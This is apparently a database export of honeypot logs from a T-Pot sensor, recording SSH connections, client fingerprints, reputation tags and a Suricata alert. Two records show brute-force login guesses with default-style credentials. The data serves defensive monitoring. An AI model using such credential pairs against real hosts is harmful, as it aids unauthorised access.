21846	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.176286+03	2021-09-20 14:15:04.177642+03	{"_id": "qwXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40496 (192.168.176.2:22) [session: 23a845094798]", "session": "23a845094798", "@version": "1", "protocol": "ssh", "src_port": 40496, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.176286Z", "@timestamp": "2021-09-20T11:06:22.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21841	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:06:22.834664+03	2021-09-20 14:15:04.172645+03	{"_id": "pQXiAnwBvYTbRNuEr_2L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 1013255450266027, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37245, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.834664Z", "@timestamp": "2021-09-20T11:06:22.834Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21842	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.147281+03	2021-09-20 14:15:04.173614+03	{"_id": "pgXiAnwBvYTbRNuEsP1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123456789] failed", "session": "dad9cdc78955", "@version": "1", "password": "123456789", "username": "admin", "timestamp": "2021-09-20T11:06:22.147281Z", "@timestamp": "2021-09-20T11:06:22.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21843	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.1738+03	2021-09-20 14:15:04.174614+03	{"_id": "pwXiAnwBvYTbRNuEsP1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mac/mac] failed", "session": "5022bd2f354b", "@version": "1", "password": "mac", "username": "mac", "timestamp": "2021-09-20T11:06:22.173800Z", "@timestamp": "2021-09-20T11:06:22.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21844	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.45374+03	2021-09-20 14:15:04.175643+03	{"_id": "qAXiAnwBvYTbRNuEsP1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "23a845094798", "@version": "1", "timestamp": "2021-09-20T11:06:22.453740Z", "@timestamp": "2021-09-20T11:06:22.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21845	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:22.464175+03	2021-09-20 14:15:04.176642+03	{"_id": "qQXiAnwBvYTbRNuEsP1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "223.241.247.214", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5915722846984863, "duplicate": true, "timestamp": "2021-09-20T11:06:22.464175Z", "@timestamp": "2021-09-20T11:06:22.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
38728	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:29:36.529549+03	2021-09-20 15:30:05.333882+03	{"_id": "WgYuA3wBvYTbRNuE5XG5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49502, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1990328625140877, "@version": "1", "in_iface": "enp5s0", "src_port": 53231, "dest_port": 53, "timestamp": "2021-09-20T12:29:36.529549Z", "@timestamp": "2021-09-20T12:29:36.529Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21847	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:22.198784+03	2021-09-20 14:15:04.178643+03	{"_id": "rAXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42090 (192.168.176.2:22) [session: fa51fa9ef0bd]", "session": "fa51fa9ef0bd", "@version": "1", "protocol": "ssh", "src_port": 42090, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.198784Z", "@timestamp": "2021-09-20T11:06:22.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21848	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:06:22.483588+03	2021-09-20 14:15:04.180643+03	{"_id": "rQXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:37245 (192.168.176.2:22) [session: 0519a0a73be2]", "session": "0519a0a73be2", "@version": "1", "protocol": "ssh", "src_port": 37245, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.483588Z", "@timestamp": "2021-09-20T11:06:22.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21849	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:22.178288+03	2021-09-20 14:15:04.181642+03	{"_id": "rgXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40496, "timestamp": "2021-09-20T11:06:22.178288", "@timestamp": "2021-09-20T11:06:22.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21850	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:22.486981+03	2021-09-20 14:15:04.182642+03	{"_id": "rwXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37245, "timestamp": "2021-09-20T11:06:22.486981", "@timestamp": "2021-09-20T11:06:22.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21851	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.177433+03	2021-09-20 14:15:04.183643+03	{"_id": "sAXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "23a845094798", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:22.177433Z", "@timestamp": "2021-09-20T11:06:22.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
38776	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:30:01.960047+03	2021-09-20 15:45:01.951019+03	{"_id": "3wYvA3wBvYTbRNuER3Fx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:30:01.946573+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 1482506726109581, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiA0NzQ2NzYwDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTYwMDE2NWRkZjhhMjdkYjANCkV4cGVjdDogMTAwLWNvbnRpbnVlDQoNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 58336, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:30:01.960047Z", "@timestamp": "2021-09-20T12:30:01.960Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 4746760\\r\\nContent-Type: multipart/form-data; boundary=------------------------600165ddf8a27db0\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
21852	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:06:22.485524+03	2021-09-20 14:15:04.184614+03	{"_id": "sQXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "0519a0a73be2", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:06:22.485524Z", "@timestamp": "2021-09-20T11:06:22.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21853	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:22.855192+03	2021-09-20 14:15:04.18664+03	{"_id": "sgXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:22.855192Z", "@timestamp": "2021-09-20T11:06:22.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21854	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:22.857663+03	2021-09-20 14:15:04.187649+03	{"_id": "swXiAnwBvYTbRNuEsP1q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fa51fa9ef0bd", "@version": "1", "timestamp": "2021-09-20T11:06:22.857663Z", "@timestamp": "2021-09-20T11:06:22.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 